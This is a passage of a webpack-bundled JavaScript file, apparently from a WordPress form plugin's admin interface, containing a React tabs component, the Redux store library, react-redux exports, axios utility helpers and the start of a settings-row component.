function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Tabs = function (_Component) {
_inherits(Tabs, _Component);
function Tabs(props) {
_classCallCheck(this, Tabs);
var _this = _possibleConstructorReturn(this, (Tabs.__proto__ || Object.getPrototypeOf(Tabs)).call(this, props));
_this.state = {
active: _this.props.default ? _this.props.default : ''
};
return _this;
}
_createClass(Tabs, [{
key: 'toggleValue',
value: function toggleValue(value) {
this.setState({
active: value
});
}
}, {
key: 'render',
value: function render() {
var _this2 = this;
var defaultValue = this.props.default ? this.props.default : '';
var type = this.props.type ? this.props.type : 'side-tabs';
var extraClass = this.props.extraClass ? this.props.extraClass : '';
var tabTitles = _react2.default.Children.map(this.props.children, function (tab) {
if (_.isUndefined(tab) || _.isNull(tab)) {
return;
}
return _react2.default.createElement(
'div',
{
className: 'forminator-toggle sui-tab-item' + (tab.props.value === _this2.state.active ? ' active' : ''),
onClick: _this2.toggleValue.bind(_this2, tab.props.value)
},
tab.props.label,
' ',
tab.props.required && _react2.default.createElement(
'span',
{ className: 'sui-error' },
'*'
)
);
});
var tabContents = _react2.default.Children.map(this.props.children, function (tab) {
if (_.isUndefined(tab) || _.isNull(tab)) {
return;
}
var boxClassValue = !_.isUndefined(tab.props.boxClass) ? tab.props.boxClass : 'sui-tab-content';
return _react2.default.createElement(
'div',
{ className: boxClassValue + (tab.props.value === _this2.state.active ? ' active' : '') },
tab.props.value === _this2.state.active && tab
);
});
return _react2.default.createElement(
'div',
{ className: 'sui-' + type + ' ' + extraClass },
_react2.default.createElement(
'div',
{ className: 'sui-tabs-menu' },
tabTitles
),
_react2.default.createElement(
'div',
{ className: 'sui-tabs-content' },
tabContents
)
);
}
}]);
return Tabs;
}(_react.Component);
exports.default = Tabs;
/***/ }),
/* 11 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* WEBPACK VAR INJECTION */(function(process) {/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "createStore", function() { return createStore; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "combineReducers", function() { return combineReducers; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "bindActionCreators", function() { return bindActionCreators; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "applyMiddleware", function() { return applyMiddleware; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "compose", function() { return compose; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "__DO_NOT_USE__ActionTypes", function() { return ActionTypes; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_symbol_observable__ = __webpack_require__(123);
/**
* These are private action types reserved by Redux.
* For any unknown actions, you must return the current state.
* If the current state is undefined, you must return the initial state.
* Do not reference these action types directly in your code.
*/
var ActionTypes = {
INIT: '@@redux/INIT' + Math.random().toString(36).substring(7).split('').join('.'),
REPLACE: '@@redux/REPLACE' + Math.random().toString(36).substring(7).split('').join('.')
};
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) {
return typeof obj;
} : function (obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
};
var _extends = Object.assign || function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i];
for (var key in source) {
if (Object.prototype.hasOwnProperty.call(source, key)) {
target[key] = source[key];
}
}
}
return target;
};
/**
* @param {any} obj The object to inspect.
* @returns {boolean} True if the argument appears to be a plain object.
*/
function isPlainObject(obj) {
if ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) !== 'object' || obj === null) return false;
var proto = obj;
while (Object.getPrototypeOf(proto) !== null) {
proto = Object.getPrototypeOf(proto);
}
return Object.getPrototypeOf(obj) === proto;
}
/**
* Creates a Redux store that holds the state tree.
* The only way to change the data in the store is to call `dispatch()` on it.
*
* There should only be a single store in your app. To specify how different
* parts of the state tree respond to actions, you may combine several reducers
* into a single reducer function by using `combineReducers`.
*
* @param {Function} reducer A function that returns the next state tree, given
* the current state tree and the action to handle.
*
* @param {any} [preloadedState] The initial state. You may optionally specify it
* to hydrate the state from the server in universal apps, or to restore a
* previously serialized user session.
* If you use `combineReducers` to produce the root reducer function, this must be
* an object with the same shape as `combineReducers` keys.
*
* @param {Function} [enhancer] The store enhancer. You may optionally specify it
* to enhance the store with third-party capabilities such as middleware,
* time travel, persistence, etc. The only store enhancer that ships with Redux
* is `applyMiddleware()`.
*
* @returns {Store} A Redux store that lets you read the state, dispatch actions
* and subscribe to changes.
*/
function createStore(reducer, preloadedState, enhancer) {
var _ref2;
if (typeof preloadedState === 'function' && typeof enhancer === 'undefined') {
enhancer = preloadedState;
preloadedState = undefined;
}
if (typeof enhancer !== 'undefined') {
if (typeof enhancer !== 'function') {
throw new Error('Expected the enhancer to be a function.');
}
return enhancer(createStore)(reducer, preloadedState);
}
if (typeof reducer !== 'function') {
throw new Error('Expected the reducer to be a function.');
}
var currentReducer = reducer;
var currentState = preloadedState;
var currentListeners = [];
var nextListeners = currentListeners;
var isDispatching = false;
function ensureCanMutateNextListeners() {
if (nextListeners === currentListeners) {
nextListeners = currentListeners.slice();
}
}
/**
* Reads the state tree managed by the store.
*
* @returns {any} The current state tree of your application.
*/
function getState() {
if (isDispatching) {
throw new Error('You may not call store.getState() while the reducer is executing. ' + 'The reducer has already received the state as an argument. ' + 'Pass it down from the top reducer instead of reading it from the store.');
}
return currentState;
}
/**
* Adds a change listener. It will be called any time an action is dispatched,
* and some part of the state tree may potentially have changed. You may then
* call `getState()` to read the current state tree inside the callback.
*
* You may call `dispatch()` from a change listener, with the following
* caveats:
*
* 1. The subscriptions are snapshotted just before every `dispatch()` call.
* If you subscribe or unsubscribe while the listeners are being invoked, this
* will not have any effect on the `dispatch()` that is currently in progress.
* However, the next `dispatch()` call, whether nested or not, will use a more
* recent snapshot of the subscription list.
*
* 2. The listener should not expect to see all state changes, as the state
* might have been updated multiple times during a nested `dispatch()` before
* the listener is called. It is, however, guaranteed that all subscribers
* registered before the `dispatch()` started will be called with the latest
* state by the time it exits.
*
* @param {Function} listener A callback to be invoked on every dispatch.
* @returns {Function} A function to remove this change listener.
*/
function subscribe(listener) {
if (typeof listener !== 'function') {
throw new Error('Expected the listener to be a function.');
}
if (isDispatching) {
throw new Error('You may not call store.subscribe() while the reducer is executing. ' + 'If you would like to be notified after the store has been updated, subscribe from a ' + 'component and invoke store.getState() in the callback to access the latest state. ' + 'See https://redux.js.org/api-reference/store#subscribe(listener) for more details.');
}
var isSubscribed = true;
ensureCanMutateNextListeners();
nextListeners.push(listener);
return function unsubscribe() {
if (!isSubscribed) {
return;
}
if (isDispatching) {
throw new Error('You may not unsubscribe from a store listener while the reducer is executing. ' + 'See https://redux.js.org/api-reference/store#subscribe(listener) for more details.');
}
isSubscribed = false;
ensureCanMutateNextListeners();
var index = nextListeners.indexOf(listener);
nextListeners.splice(index, 1);
};
}
/**
* Dispatches an action. It is the only way to trigger a state change.
*
* The `reducer` function, used to create the store, will be called with the
* current state tree and the given `action`. Its return value will
* be considered the **next** state of the tree, and the change listeners
* will be notified.
*
* The base implementation only supports plain object actions. If you want to
* dispatch a Promise, an Observable, a thunk, or something else, you need to
* wrap your store creating function into the corresponding middleware. For
* example, see the documentation for the `redux-thunk` package. Even the
* middleware will eventually dispatch plain object actions using this method.
*
* @param {Object} action A plain object representing “what changed”. It is
* a good idea to keep actions serializable so you can record and replay user
* sessions, or use the time travelling `redux-devtools`. An action must have
* a `type` property which may not be `undefined`. It is a good idea to use
* string constants for action types.
*
* @returns {Object} For convenience, the same action object you dispatched.
*
* Note that, if you use a custom middleware, it may wrap `dispatch()` to
* return something else (for example, a Promise you can await).
*/
function dispatch(action) {
if (!isPlainObject(action)) {
throw new Error('Actions must be plain objects. ' + 'Use custom middleware for async actions.');
}
if (typeof action.type === 'undefined') {
throw new Error('Actions may not have an undefined "type" property. ' + 'Have you misspelled a constant?');
}
if (isDispatching) {
throw new Error('Reducers may not dispatch actions.');
}
try {
isDispatching = true;
currentState = currentReducer(currentState, action);
} finally {
isDispatching = false;
}
var listeners = currentListeners = nextListeners;
for (var i = 0; i < listeners.length; i++) {
var listener = listeners[i];
listener();
}
return action;
}
/**
* Replaces the reducer currently used by the store to calculate the state.
*
* You might need this if your app implements code splitting and you want to
* load some of the reducers dynamically. You might also need this if you
* implement a hot reloading mechanism for Redux.
*
* @param {Function} nextReducer The reducer for the store to use instead.
* @returns {void}
*/
function replaceReducer(nextReducer) {
if (typeof nextReducer !== 'function') {
throw new Error('Expected the nextReducer to be a function.');
}
currentReducer = nextReducer;
dispatch({ type: ActionTypes.REPLACE });
}
/**
* Interoperability point for observable/reactive libraries.
* @returns {observable} A minimal observable of state changes.
* For more information, see the observable proposal:
* https://github.com/tc39/proposal-observable
*/
function observable() {
var _ref;
var outerSubscribe = subscribe;
return _ref = {
/**
* The minimal observable subscription method.
* @param {Object} observer Any object that can be used as an observer.
* The observer object should have a `next` method.
* @returns {subscription} An object with an `unsubscribe` method that can
* be used to unsubscribe the observable from the store, and prevent further
* emission of values from the observable.
*/
subscribe: function subscribe(observer) {
if ((typeof observer === 'undefined' ? 'undefined' : _typeof(observer)) !== 'object' || observer === null) {
throw new TypeError('Expected the observer to be an object.');
}
function observeState() {
if (observer.next) {
observer.next(getState());
}
}
observeState();
var unsubscribe = outerSubscribe(observeState);
return { unsubscribe: unsubscribe };
}
}, _ref[__WEBPACK_IMPORTED_MODULE_0_symbol_observable__["a" /* default */]] = function () {
return this;
}, _ref;
}
// When a store is created, an "INIT" action is dispatched so that every
// reducer returns their initial state. This effectively populates
// the initial state tree.
dispatch({ type: ActionTypes.INIT });
return _ref2 = {
dispatch: dispatch,
subscribe: subscribe,
getState: getState,
replaceReducer: replaceReducer
}, _ref2[__WEBPACK_IMPORTED_MODULE_0_symbol_observable__["a" /* default */]] = observable, _ref2;
}
/**
* Prints a warning in the console if it exists.
*
* @param {String} message The warning message.
* @returns {void}
*/
function warning(message) {
/* eslint-disable no-console */
if (typeof console !== 'undefined' && typeof console.error === 'function') {
console.error(message);
}
/* eslint-enable no-console */
try {
// This error was thrown as a convenience so that if you enable
// "break on all exceptions" in your console,
// it would pause the execution at this line.
throw new Error(message);
} catch (e) {} // eslint-disable-line no-empty
}
function getUndefinedStateErrorMessage(key, action) {
var actionType = action && action.type;
var actionDescription = actionType && 'action "' + String(actionType) + '"' || 'an action';
return 'Given ' + actionDescription + ', reducer "' + key + '" returned undefined. ' + 'To ignore an action, you must explicitly return the previous state. ' + 'If you want this reducer to hold no value, you can return null instead of undefined.';
}
function getUnexpectedStateShapeWarningMessage(inputState, reducers, action, unexpectedKeyCache) {
var reducerKeys = Object.keys(reducers);
var argumentName = action && action.type === ActionTypes.INIT ? 'preloadedState argument passed to createStore' : 'previous state received by the reducer';
if (reducerKeys.length === 0) {
return 'Store does not have a valid reducer. Make sure the argument passed ' + 'to combineReducers is an object whose values are reducers.';
}
if (!isPlainObject(inputState)) {
return 'The ' + argumentName + ' has unexpected type of "' + {}.toString.call(inputState).match(/\s([a-z|A-Z]+)/)[1] + '". Expected argument to be an object with the following ' + ('keys: "' + reducerKeys.join('", "') + '"');
}
var unexpectedKeys = Object.keys(inputState).filter(function (key) {
return !reducers.hasOwnProperty(key) && !unexpectedKeyCache[key];
});
unexpectedKeys.forEach(function (key) {
unexpectedKeyCache[key] = true;
});
if (action && action.type === ActionTypes.REPLACE) return;
if (unexpectedKeys.length > 0) {
return 'Unexpected ' + (unexpectedKeys.length > 1 ? 'keys' : 'key') + ' ' + ('"' + unexpectedKeys.join('", "') + '" found in ' + argumentName + '. ') + 'Expected to find one of the known reducer keys instead: ' + ('"' + reducerKeys.join('", "') + '". Unexpected keys will be ignored.');
}
}
function assertReducerShape(reducers) {
Object.keys(reducers).forEach(function (key) {
var reducer = reducers[key];
var initialState = reducer(undefined, { type: ActionTypes.INIT });
if (typeof initialState === 'undefined') {
throw new Error('Reducer "' + key + '" returned undefined during initialization. ' + 'If the state passed to the reducer is undefined, you must ' + 'explicitly return the initial state. The initial state may ' + 'not be undefined. If you don\'t want to set a value for this reducer, ' + 'you can use null instead of undefined.');
}
var type = '@@redux/PROBE_UNKNOWN_ACTION_' + Math.random().toString(36).substring(7).split('').join('.');
if (typeof reducer(undefined, { type: type }) === 'undefined') {
throw new Error('Reducer "' + key + '" returned undefined when probed with a random type. ' + ('Don\'t try to handle ' + ActionTypes.INIT + ' or other actions in "redux/*" ') + 'namespace. They are considered private. Instead, you must return the ' + 'current state for any unknown actions, unless it is undefined, ' + 'in which case you must return the initial state, regardless of the ' + 'action type. The initial state may not be undefined, but can be null.');
}
});
}
/**
* Turns an object whose values are different reducer functions, into a single
* reducer function. It will call every child reducer, and gather their results
* into a single state object, whose keys correspond to the keys of the passed
* reducer functions.
*
* @param {Object} reducers An object whose values correspond to different
* reducer functions that need to be combined into one. One handy way to obtain
* it is to use ES6 `import * as reducers` syntax. The reducers may never return
* undefined for any action. Instead, they should return their initial state
* if the state passed to them was undefined, and the current state for any
* unrecognized action.
*
* @returns {Function} A reducer function that invokes every reducer inside the
* passed object, and builds a state object with the same shape.
*/
function combineReducers(reducers) {
var reducerKeys = Object.keys(reducers);
var finalReducers = {};
for (var i = 0; i < reducerKeys.length; i++) {
var key = reducerKeys[i];
if (process.env.NODE_ENV !== 'production') {
if (typeof reducers[key] === 'undefined') {
warning('No reducer provided for key "' + key + '"');
}
}
if (typeof reducers[key] === 'function') {
finalReducers[key] = reducers[key];
}
}
var finalReducerKeys = Object.keys(finalReducers);
var unexpectedKeyCache = void 0;
if (process.env.NODE_ENV !== 'production') {
unexpectedKeyCache = {};
}
var shapeAssertionError = void 0;
try {
assertReducerShape(finalReducers);
} catch (e) {
shapeAssertionError = e;
}
return function combination() {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
var action = arguments[1];
if (shapeAssertionError) {
throw shapeAssertionError;
}
if (process.env.NODE_ENV !== 'production') {
var warningMessage = getUnexpectedStateShapeWarningMessage(state, finalReducers, action, unexpectedKeyCache);
if (warningMessage) {
warning(warningMessage);
}
}
var hasChanged = false;
var nextState = {};
for (var _i = 0; _i < finalReducerKeys.length; _i++) {
var _key = finalReducerKeys[_i];
var reducer = finalReducers[_key];
var previousStateForKey = state[_key];
var nextStateForKey = reducer(previousStateForKey, action);
if (typeof nextStateForKey === 'undefined') {
var errorMessage = getUndefinedStateErrorMessage(_key, action);
throw new Error(errorMessage);
}
nextState[_key] = nextStateForKey;
hasChanged = hasChanged || nextStateForKey !== previousStateForKey;
}
return hasChanged ? nextState : state;
};
}
function bindActionCreator(actionCreator, dispatch) {
return function () {
return dispatch(actionCreator.apply(this, arguments));
};
}
/**
* Turns an object whose values are action creators, into an object with the
* same keys, but with every function wrapped into a `dispatch` call so they
* may be invoked directly. This is just a convenience method, as you can call
* `store.dispatch(MyActionCreators.doSomething())` yourself just fine.
*
* For convenience, you can also pass a single function as the first argument,
* and get a function in return.
*
* @param {Function|Object} actionCreators An object whose values are action
* creator functions. One handy way to obtain it is to use ES6 `import * as`
* syntax. You may also pass a single function.
*
* @param {Function} dispatch The `dispatch` function available on your Redux
* store.
*
* @returns {Function|Object} The object mimicking the original object, but with
* every action creator wrapped into the `dispatch` call. If you passed a
* function as `actionCreators`, the return value will also be a single
* function.
*/
function bindActionCreators(actionCreators, dispatch) {
if (typeof actionCreators === 'function') {
return bindActionCreator(actionCreators, dispatch);
}
if ((typeof actionCreators === 'undefined' ? 'undefined' : _typeof(actionCreators)) !== 'object' || actionCreators === null) {
throw new Error('bindActionCreators expected an object or a function, instead received ' + (actionCreators === null ? 'null' : typeof actionCreators === 'undefined' ? 'undefined' : _typeof(actionCreators)) + '. ' + 'Did you write "import ActionCreators from" instead of "import * as ActionCreators from"?');
}
var keys = Object.keys(actionCreators);
var boundActionCreators = {};
for (var i = 0; i < keys.length; i++) {
var key = keys[i];
var actionCreator = actionCreators[key];
if (typeof actionCreator === 'function') {
boundActionCreators[key] = bindActionCreator(actionCreator, dispatch);
}
}
return boundActionCreators;
}
/**
* Composes single-argument functions from right to left. The rightmost
* function can take multiple arguments as it provides the signature for
* the resulting composite function.
*
* @param {...Function} funcs The functions to compose.
* @returns {Function} A function obtained by composing the argument functions
* from right to left. For example, compose(f, g, h) is identical to doing
* (...args) => f(g(h(...args))).
*/
function compose() {
for (var _len = arguments.length, funcs = Array(_len), _key = 0; _key < _len; _key++) {
funcs[_key] = arguments[_key];
}
if (funcs.length === 0) {
return function (arg) {
return arg;
};
}
if (funcs.length === 1) {
return funcs[0];
}
return funcs.reduce(function (a, b) {
return function () {
return a(b.apply(undefined, arguments));
};
});
}
/**
* Creates a store enhancer that applies middleware to the dispatch method
* of the Redux store. This is handy for a variety of tasks, such as expressing
* asynchronous actions in a concise manner, or logging every action payload.
*
* See `redux-thunk` package as an example of the Redux middleware.
*
* Because middleware is potentially asynchronous, this should be the first
* store enhancer in the composition chain.
*
* Note that each middleware will be given the `dispatch` and `getState` functions
* as named arguments.
*
* @param {...Function} middlewares The middleware chain to be applied.
* @returns {Function} A store enhancer applying the middleware.
*/
function applyMiddleware() {
for (var _len = arguments.length, middlewares = Array(_len), _key = 0; _key < _len; _key++) {
middlewares[_key] = arguments[_key];
}
return function (createStore) {
return function () {
for (var _len2 = arguments.length, args = Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
args[_key2] = arguments[_key2];
}
var store = createStore.apply(undefined, args);
var _dispatch = function dispatch() {
throw new Error('Dispatching while constructing your middleware is not allowed. ' + 'Other middleware would not be applied to this dispatch.');
};
var middlewareAPI = {
getState: store.getState,
dispatch: function dispatch() {
return _dispatch.apply(undefined, arguments);
}
};
var chain = middlewares.map(function (middleware) {
return middleware(middlewareAPI);
});
_dispatch = compose.apply(undefined, chain)(store.dispatch);
return _extends({}, store, {
dispatch: _dispatch
});
};
};
}
/*
* This is a dummy function to check if the function name has been altered by minification.
* If the function has been minified and NODE_ENV !== 'production', warn the user.
*/
function isCrushed() {}
if (process.env.NODE_ENV !== 'production' && typeof isCrushed.name === 'string' && isCrushed.name !== 'isCrushed') {
warning("You are currently using minified code outside of NODE_ENV === 'production'. " + 'This means that you are running a slower development build of Redux. ' + 'You can use loose-envify (https://github.com/zertosh/loose-envify) for browserify ' + 'or DefinePlugin for webpack (http://stackoverflow.com/questions/30030031) ' + 'to ensure you have the correct code for your production build.');
}
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(2)))
/***/ }),
/* 12 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = Empty;
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function Empty() {
return '';
}
/***/ }),
/* 13 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__components_Provider__ = __webpack_require__(115);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__components_connectAdvanced__ = __webpack_require__(69);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__connect_connect__ = __webpack_require__(120);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Provider", function() { return __WEBPACK_IMPORTED_MODULE_0__components_Provider__["b"]; });
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "createProvider", function() { return __WEBPACK_IMPORTED_MODULE_0__components_Provider__["a"]; });
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "connectAdvanced", function() { return __WEBPACK_IMPORTED_MODULE_1__components_connectAdvanced__["a"]; });
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "connect", function() { return __WEBPACK_IMPORTED_MODULE_2__connect_connect__["a"]; });
/***/ }),
/* 14 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var bind = __webpack_require__(80);
var isBuffer = __webpack_require__(163);
/*global toString:true*/
// utils is a library of generic helper functions non-specific to axios
var toString = Object.prototype.toString;
/**
* Determine if a value is an Array
*
* @param {Object} val The value to test
* @returns {boolean} True if value is an Array, otherwise false
*/
function isArray(val) {
return toString.call(val) === '[object Array]';
}
/**
* Determine if a value is an ArrayBuffer
*
* @param {Object} val The value to test
* @returns {boolean} True if value is an ArrayBuffer, otherwise false
*/
function isArrayBuffer(val) {
return toString.call(val) === '[object ArrayBuffer]';
}
/**
* Determine if a value is a FormData
*
* @param {Object} val The value to test
* @returns {boolean} True if value is an FormData, otherwise false
*/
function isFormData(val) {
return (typeof FormData !== 'undefined') && (val instanceof FormData);
}
/**
* Determine if a value is a view on an ArrayBuffer
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false
*/
function isArrayBufferView(val) {
var result;
if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {
result = ArrayBuffer.isView(val);
} else {
result = (val) && (val.buffer) && (val.buffer instanceof ArrayBuffer);
}
return result;
}
/**
* Determine if a value is a String
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a String, otherwise false
*/
function isString(val) {
return typeof val === 'string';
}
/**
* Determine if a value is a Number
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Number, otherwise false
*/
function isNumber(val) {
return typeof val === 'number';
}
/**
* Determine if a value is undefined
*
* @param {Object} val The value to test
* @returns {boolean} True if the value is undefined, otherwise false
*/
function isUndefined(val) {
return typeof val === 'undefined';
}
/**
* Determine if a value is an Object
*
* @param {Object} val The value to test
* @returns {boolean} True if value is an Object, otherwise false
*/
function isObject(val) {
return val !== null && typeof val === 'object';
}
/**
* Determine if a value is a Date
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Date, otherwise false
*/
function isDate(val) {
return toString.call(val) === '[object Date]';
}
/**
* Determine if a value is a File
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a File, otherwise false
*/
function isFile(val) {
return toString.call(val) === '[object File]';
}
/**
* Determine if a value is a Blob
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Blob, otherwise false
*/
function isBlob(val) {
return toString.call(val) === '[object Blob]';
}
/**
* Determine if a value is a Function
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Function, otherwise false
*/
function isFunction(val) {
return toString.call(val) === '[object Function]';
}
/**
* Determine if a value is a Stream
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Stream, otherwise false
*/
function isStream(val) {
return isObject(val) && isFunction(val.pipe);
}
/**
* Determine if a value is a URLSearchParams object
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a URLSearchParams object, otherwise false
*/
function isURLSearchParams(val) {
return typeof URLSearchParams !== 'undefined' && val instanceof URLSearchParams;
}
/**
* Trim excess whitespace off the beginning and end of a string
*
* @param {String} str The String to trim
* @returns {String} The String freed of excess whitespace
*/
function trim(str) {
return str.replace(/^\s*/, '').replace(/\s*$/, '');
}
/**
* Determine if we're running in a standard browser environment
*
* This allows axios to run in a web worker, and react-native.
* Both environments support XMLHttpRequest, but not fully standard globals.
*
* web workers:
* typeof window -> undefined
* typeof document -> undefined
*
* react-native:
* navigator.product -> 'ReactNative'
*/
function isStandardBrowserEnv() {
if (typeof navigator !== 'undefined' && navigator.product === 'ReactNative') {
return false;
}
return (
typeof window !== 'undefined' &&
typeof document !== 'undefined'
);
}
/**
* Iterate over an Array or an Object invoking a function for each item.
*
* If `obj` is an Array callback will be called passing
* the value, index, and complete array for each item.
*
* If 'obj' is an Object callback will be called passing
* the value, key, and complete object for each property.
*
* @param {Object|Array} obj The object to iterate
* @param {Function} fn The callback to invoke for each item
*/
function forEach(obj, fn) {
// Don't bother if no value provided
if (obj === null || typeof obj === 'undefined') {
return;
}
// Force an array if not already something iterable
if (typeof obj !== 'object') {
/*eslint no-param-reassign:0*/
obj = [obj];
}
if (isArray(obj)) {
// Iterate over array values
for (var i = 0, l = obj.length; i < l; i++) {
fn.call(null, obj[i], i, obj);
}
} else {
// Iterate over object keys
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) {
fn.call(null, obj[key], key, obj);
}
}
}
}
/**
* Accepts varargs expecting each argument to be an object, then
* immutably merges the properties of each object and returns result.
*
* When multiple objects contain the same key the later object in
* the arguments list will take precedence.
*
* Example:
*
* ```js
* var result = merge({foo: 123}, {foo: 456});
* console.log(result.foo); // outputs 456
* ```
*
* @param {Object} obj1 Object to merge
* @returns {Object} Result of all merge properties
*/
function merge(/* obj1, obj2, obj3, ... */) {
var result = {};
function assignValue(val, key) {
if (typeof result[key] === 'object' && typeof val === 'object') {
result[key] = merge(result[key], val);
} else {
result[key] = val;
}
}
for (var i = 0, l = arguments.length; i < l; i++) {
forEach(arguments[i], assignValue);
}
return result;
}
/**
* Extends object a by mutably adding to it the properties of object b.
*
* @param {Object} a The object to be extended
* @param {Object} b The object to copy properties from
* @param {Object} thisArg The object to bind function to
* @return {Object} The resulting value of object a
*/
function extend(a, b, thisArg) {
forEach(b, function assignValue(val, key) {
if (thisArg && typeof val === 'function') {
a[key] = bind(val, thisArg);
} else {
a[key] = val;
}
});
return a;
}
module.exports = {
isArray: isArray,
isArrayBuffer: isArrayBuffer,
isBuffer: isBuffer,
isFormData: isFormData,
isArrayBufferView: isArrayBufferView,
isString: isString,
isNumber: isNumber,
isObject: isObject,
isUndefined: isUndefined,
isDate: isDate,
isFile: isFile,
isBlob: isBlob,
isFunction: isFunction,
isStream: isStream,
isURLSearchParams: isURLSearchParams,
isStandardBrowserEnv: isStandardBrowserEnv,
forEach: forEach,
merge: merge,
extend: extend,
trim: trim
};
/***/ }),
/* 15 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
* Copyright (c) 2013-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
/**
* Use invariant() to assert state which your program assumes to be true.
*
* Provide sprintf-style format (only %s is supported) and arguments
* to provide information about what broke and what you were
* expecting.
*
* The invariant message will be stripped in production, but the invariant
* will remain to ensure logic does not differ in production.
*/
var invariant = function(condition, format, a, b, c, d, e, f) {
if (process.env.NODE_ENV !== 'production') {
if (format === undefined) {
throw new Error('invariant requires an error message argument');
}
}
if (!condition) {
var error;
if (format === undefined) {
error = new Error(
'Minified exception occurred; use the non-minified dev environment ' +
'for the full error message and additional helpful warnings.'
);
} else {
var args = [a, b, c, d, e, f];
var argIndex = 0;
error = new Error(
format.replace(/%s/g, function() { return args[argIndex++]; })
);
error.name = 'Invariant Violation';
}
error.framesToPop = 1; // we don't care about invariant's own frame
throw error;
}
};
module.exports = invariant;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 16 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var SettingsRow = function (_Component) {
_inherits(SettingsRow, _Component);
function SettingsRow(props) {
_classCallCheck(this, SettingsRow);
return _possibleConstructorReturn(this, (SettingsRow.__proto__ || Object.getPrototypeOf(SettingsRow)).call(this, props));
}
_createClass(SettingsRow, [{
key: 'render',
value: function render() {
var content = _react2.default.Children.map(this.props.children, function (children) {
return children;
});
var label = '';
if (this.props.label && '' !== this.props.label) {
label = _react2.default.createElement(
'span',
{ className: 'sui-settings-label' + ('' + (this.props.labelDark === true ? ' sui-dark' : '')) },
this.props.label
);
}
var description = '';
var descriptionSpacing = 10;
if (!_.isUndefined(this.props.descriptionSpacing) && '' !== this.props.descriptionSpacing) {
descriptionSpacing = this.props.descriptionSpacing;
}
if (!_.isUndefined(this.props.description) && '' !== this.props.description) {
if (this.props.sidebar === false) {
description = _react2.default.createElement(
'span',
{
className: 'sui-description',
style: { marginBottom: descriptionSpacing + 'px' }
},
this.props.description
);
} else {
description = _react2.default.createElement(
'span',
{ className: 'sui-description' },
this.props.description
);
}
}
var sidebar = '';
if (this.props.label && '' !== this.props.label || this.props.description && '' !== this.props.description) {
sidebar = _react2.default.createElement(
'div',
